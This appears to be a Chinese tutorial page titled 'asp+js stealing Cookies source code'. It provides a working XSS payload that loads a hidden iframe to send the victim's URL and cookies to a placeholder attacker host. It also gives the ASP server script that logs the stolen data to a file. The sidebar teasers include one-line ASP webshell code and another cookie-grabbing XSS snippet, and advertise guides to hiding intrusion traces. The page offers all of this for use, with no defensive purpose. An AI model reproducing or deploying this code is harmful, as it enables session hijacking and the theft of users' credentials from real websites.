asp+js 偷取Cookies源代码_企业安全

偷取cookie，通过以下脚本引入一个js，document.write("<script src=xx.js></script>")，然后js内容为：
var code;　　　　　　　　　
var target = "http://www.xxx.net/cookie.asp?";
info=escape(document.location+"@@@"+document.cookie);
target=target+info;
code="<iframe style='display:none;' src=";
code=code+target;　　　　　　　　　
code=code+" width=0 height=0></iframe>";
document.write(code);

这样就可以将cookie等信息传到我们的站点了！cookie.asp内容为：

复制代码

代码如下:

dim fso,file,str　　　　　　　　
str=unescape(request.servervariables("query_string"))　　　　
const forreading = 1, forwriting = 2, forappending = 8
set fso = server.createobject("scripting.filesystemobject")　
path = server.mappath("xxx.txt")　　　　　
set file=fso.opentextfile(path, forappending, true)　　　
file.write("xss:")
file.write(str)　　　　　　　　
file.write vbcrlf　　　　　　　
file.close
set file = nothing　　　　　　　　
set fso = nothing

判断数据库web是否分离的技巧

判断数据库web是否分离的技巧得到客户端主机名: select host_name(); 得到服务端主机名: select @@servername; 结果一... [阅读全文]

关于趋势科技等网站被攻击的分析

关于趋势科技等网站被攻击的分析一. 首先在网上找到了这次攻击的新闻报道http://www.nsfocus.net/news/6697 http://hi.... [阅读全文]

一句话木马(asp,php) 总结篇

一句话木马(asp,php) 总结篇asp一句话 <%execute(request("1"))%> php一句话 <?... [阅读全文]

Linux系统如何关闭防火墙

linux入侵踪迹隐藏攻略前言：被警察叔叔请去喝茶时间很痛苦的事情，各位道长如果功力不够又喜欢出风头的想必都有过这样的“待遇”。如何使自己在系统中隐藏的更深... [阅读全文]

asp php XSS获取cookie的代码

asp php XSS获取cookie的代码<script>document.write('<img src="http://ur... [阅读全文]

计算机安全主要包括什么

社会工程学入侵三步走大家一定知道超级黑客凯文·米特尼克吧，深为他的社会工程学所折服，美国国防部、五角大楼、中央情报局、北美防空系统……都是他闲庭信步的地方，... [阅读全文]


验证码：

验证码：

asp+js 偷取Cookies源代码

2009年04月20日 • 企业安全 •我要评论

相关文章:

发表评论